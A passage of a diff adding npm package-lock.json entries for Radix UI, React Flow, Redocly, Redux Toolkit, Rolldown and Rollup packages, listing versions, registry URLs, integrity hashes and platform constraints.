"https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-visually-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", + "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-callback-ref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz", + "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-effect-event": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", + "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-escape-keydown": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz", + "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-callback-ref": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-is-hydrated": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-is-hydrated/-/react-use-is-hydrated-0.1.0.tgz", + "integrity": "sha512-U+UORVEq+cTnRIaostJv9AGdV3G6Y+zbVd+12e18jQ5A3c0xL03IhnHuiU4UV69wolOQp5GfR58NW/EgdQhwOA==", + "license": "MIT", + "dependencies": { + "use-sync-external-store": "^1.5.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", + "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-previous": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.1.tgz", + "integrity": "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-rect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz", + "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==", + "license": "MIT", + "dependencies": { + "@radix-ui/rect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-size": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz", + "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-visually-hidden": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.4.tgz", + "integrity": "sha512-kaeiyGCe844dkb9AVF+rb4yTyb1LiLN/e3es3nLiRyN4dC8AduBYPMnnNlDjX2VDOcvDEiPnRNMJeWCfsX0txg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-visually-hidden/node_modules/@radix-ui/react-primitive": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", + "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/rect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz", + "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==", + "license": "MIT" + }, + "node_modules/@reactflow/background": { + "version": "11.3.14", + "resolved": "https://registry.npmjs.org/@reactflow/background/-/background-11.3.14.tgz", + "integrity": "sha512-Gewd7blEVT5Lh6jqrvOgd4G6Qk17eGKQfsDXgyRSqM+CTwDqRldG2LsWN4sNeno6sbqVIC2fZ+rAUBFA9ZEUDA==", + "license": "MIT", + "dependencies": { + "@reactflow/core": "11.11.4", + "classcat": "^5.0.3", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@reactflow/controls": { + "version": "11.2.14", + "resolved": "https://registry.npmjs.org/@reactflow/controls/-/controls-11.2.14.tgz", + "integrity": "sha512-MiJp5VldFD7FrqaBNIrQ85dxChrG6ivuZ+dcFhPQUwOK3HfYgX2RHdBua+gx+40p5Vw5It3dVNp/my4Z3jF0dw==", + "license": "MIT", + "dependencies": { + "@reactflow/core": "11.11.4", + "classcat": "^5.0.3", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@reactflow/core": { + "version": "11.11.4", + "resolved": "https://registry.npmjs.org/@reactflow/core/-/core-11.11.4.tgz", + "integrity": "sha512-H4vODklsjAq3AMq6Np4LE12i1I4Ta9PrDHuBR9GmL8uzTt2l2jh4CiQbEMpvMDcp7xi4be0hgXj+Ysodde/i7Q==", + "license": "MIT", + "dependencies": { + "@types/d3": "^7.4.0", + "@types/d3-drag": "^3.0.1", + "@types/d3-selection": "^3.0.3", + "@types/d3-zoom": "^3.0.1", + "classcat": "^5.0.3", + "d3-drag": "^3.0.0", + "d3-selection": "^3.0.0", + "d3-zoom": "^3.0.0", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@reactflow/minimap": { + "version": "11.7.14", + "resolved": "https://registry.npmjs.org/@reactflow/minimap/-/minimap-11.7.14.tgz", + "integrity": "sha512-mpwLKKrEAofgFJdkhwR5UQ1JYWlcAAL/ZU/bctBkuNTT1yqV+y0buoNVImsRehVYhJwffSWeSHaBR5/GJjlCSQ==", + "license": "MIT", + "dependencies": { + "@reactflow/core": "11.11.4", + "@types/d3-selection": "^3.0.3", + "@types/d3-zoom": "^3.0.1", + "classcat": "^5.0.3", + "d3-selection": "^3.0.0", + "d3-zoom": "^3.0.0", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@reactflow/node-resizer": { + "version": "2.2.14", + "resolved": "https://registry.npmjs.org/@reactflow/node-resizer/-/node-resizer-2.2.14.tgz", + "integrity": "sha512-fwqnks83jUlYr6OHcdFEedumWKChTHRGw/kbCxj0oqBd+ekfs+SIp4ddyNU0pdx96JIm5iNFS0oNrmEiJbbSaA==", + "license": "MIT", + "dependencies": { + "@reactflow/core": "11.11.4", + "classcat": "^5.0.4", + "d3-drag": "^3.0.0", + "d3-selection": "^3.0.0", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@reactflow/node-toolbar": { + "version": "1.3.14", + "resolved": "https://registry.npmjs.org/@reactflow/node-toolbar/-/node-toolbar-1.3.14.tgz", + "integrity": "sha512-rbynXQnH/xFNu4P9H+hVqlEUafDCkEoCy0Dg9mG22Sg+rY/0ck6KkrAQrYrTgXusd+cEJOMK0uOOFCK2/5rSGQ==", + "license": "MIT", + "dependencies": { + "@reactflow/core": "11.11.4", + "classcat": "^5.0.3", + "zustand": "^4.4.1" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/@redocly/ajv": { + "version": "8.11.2", + "resolved": "https://registry.npmjs.org/@redocly/ajv/-/ajv-8.11.2.tgz", + "integrity": "sha512-io1JpnwtIcvojV7QKDUSIuMN/ikdOUd1ReEnUnMKGfDVridQZ31J0MmIuqwuRjWDZfmvr+Q0MqCcfHM2gTivOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js-replace": "^1.0.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@redocly/ajv/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/@redocly/config": { + "version": "0.22.0", + "resolved": "https://registry.npmjs.org/@redocly/config/-/config-0.22.0.tgz", + "integrity": "sha512-gAy93Ddo01Z3bHuVdPWfCwzgfaYgMdaZPcfL7JZ7hWJoK9V0lXDbigTWkhiPFAaLWzbOJ+kbUQG1+XwIm0KRGQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@redocly/openapi-core": { + "version": "1.34.11", + "resolved": "https://registry.npmjs.org/@redocly/openapi-core/-/openapi-core-1.34.11.tgz", + "integrity": "sha512-V09ayfnb5GyysmvARbt+voFZAjGcf7hSYxOYxSkCc4fbH/DTfq5YWoec8cflvmHHqyIFbqvmGKmYFzqhr9zxDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@redocly/ajv": "8.11.2", + "@redocly/config": "0.22.0", + "colorette": "1.4.0", + "https-proxy-agent": "7.0.6", + "js-levenshtein": "1.1.6", + "js-yaml": "4.1.1", + "minimatch": "5.1.9", + "pluralize": "8.0.0", + "yaml-ast-parser": "0.0.43" + }, + "engines": { + "node": ">=18.17.0", + "npm": ">=9.5.0" + } + }, + "node_modules/@redocly/openapi-core/node_modules/brace-expansion": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz", + "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@redocly/openapi-core/node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@redocly/openapi-core/node_modules/minimatch": { + "version": "5.1.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", + "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@reduxjs/toolkit": { + "version": "2.11.2", + "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz", + "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==", + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "@standard-schema/utils": "^0.3.0", + "immer": "^11.0.0", + "redux": "^5.0.1", + "redux-thunk": "^3.1.0", + "reselect": "^5.1.0" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", + "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-redux": { + "optional": true + } + } + }, + "node_modules/@reduxjs/toolkit/node_modules/immer": { + "version": "11.1.4", + "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.4.tgz", + "integrity": "sha512-XREFCPo6ksxVzP4E0ekD5aMdf8WMwmdNaz6vuvxgI40UaEiu6q3p8X52aU6GdyvLY3XXX/8R7JOTXStz/nBbRw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/@remix-run/router": { + "version": "1.23.3", + "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.3.tgz", + "integrity": "sha512-4An71tdz9X8+3sI4Qqqd2LWd9vS39J7sqd9EU4Scw7TJE/qB10Flv/UuqbPVgfQV9XoK8Np6jNquZitnZq5i+Q==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@rolldown/binding-android-arm64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.3.tgz", + "integrity": "sha512-DT6Z3PhvioeHMvxo+xHc3KtqggrI7CCTXCmC2h/5zUlp5jVitv7XEy+9q5/7v8IolhlioawpMo8Kg0EEBy7J0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-arm64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.3.tgz", + "integrity": "sha512-0NwgwsjM7LrsuVnXMK3koTpagBNOhloc/BNjKqZjv4V5zI5r13qx69uVhRx+o5Z0yy4Hzq+lpy7TAgUG/ocvrw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-x64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.3.tgz", + "integrity": "sha512-YtiBp4disu6V560loT6PjMdiRaWmVvDNrUunAalbiFx2ggeJwxdAsgZMcoGP17uyAsTwAj5V1niksxlHnVQ1Sw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-freebsd-x64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.3.tgz", + "integrity": "sha512-yD3EkEdXk2LypPxnf/kSZHirarsI8gcPzc62SukhR9VJTyvV+F9Q/GxWNuCojc7sXyuVC4DxRGhdDK4X8VSsbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm-gnueabihf": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.3.tgz", + "integrity": "sha512-c+8vieQbsD7HNAHKIA34w0GJ9FedFFuJGD+7E6vz7Q3uqAIugL5p45fhlsj4UaAsHpcmlqugBWMhA0/j7o0sIg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-gnu": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.3.tgz", + "integrity": "sha512-50jD0uUwLvur7Zz9LHz17kaAdTPjn5wN93hEgjvmYFRZwiR7ZJYovTd5ipyWJDAnXKvZ+wgc+/Ika6dwSF5OcA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-musl": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.3.tgz", + "integrity": "sha512-BO9+oPL8K9poZJBfYPsXNtYjPE5uM3qeehT3aFcW4LITOl+iSqhp0abzjR2nWBUNjIZeKXjAEWBZ64WjNoHd6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-ppc64-gnu": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.3.tgz", + "integrity": "sha512-f3VpLB1vQ0Eo6ecr/6cekLnvYMFF4YBFoVGkfkvPLq1bAkbAwHYQPZKoAmG6OJyTcxxoC+AvezGx/S1obNC0Mw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-s390x-gnu": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.3.tgz", + "integrity": "sha512-AmurZ26Pqx/RI9N1gzEOCklkKXl927yjfXWUUS0O7Puh8ARM/Ob8qfrD3qnWksScdw6cSrW5PSHE9DyLu7+PtA==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-gnu": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.3.tgz", + "integrity": "sha512-JJpqs8bRGITDOdbkNKnlojzBabbOHrqjSvDr0IVsZObE1lBcPjxItUEY9eWIDbxaJ3cGrXPWGfGkIxFijg/URg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-musl": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.3.tgz", + "integrity": "sha512-rSJcdjPxzA/by/6/rYs+v+bXU7UjvnbUWz8MJb6kh6+knqB1dCrtHg0uu7C/4haqJvqdkYHQ5IGn+tCH9GLW/g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-openharmony-arm64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.3.tgz", + "integrity": "sha512-hQ3/PYkDJICgevvyNcVrihVeqq7k1Pp3VZ9lY+dauAYUJKO+auqApvANhvR1An9BhmqYKvW2Mu1F9u4DXSMLxQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.3.tgz", + "integrity": "sha512-Elcv/BtML9lXrV6JuKITc/grN2kYV9gjsQpW8Jfw4ioK0TOkjBjye0nnyqQNy9STNaI20lXNaQBRrD5gSgR0Yg==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.6" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-arm64-msvc": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.3.tgz", + "integrity": "sha512-2DrEfhluH9yhiaFApmsjsjwrSYbNcY1oFTzYSP1a535jDbV98zCFanA/96TBUd0iDFcxGmw9QRExwGCXz3U+/g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-x64-msvc": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.3.tgz", + "integrity": "sha512-OL4OMk7UPXOeVGGd3qo5zJyPIljf4AFgk5QAkPPS+OoLuOOozhuaQGC18MxVTnw/06q93gShAJzlwnSCY9YtqA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-beta.27", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", + "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", + "cpu": [ + "x64" + ], + "dev": true, + 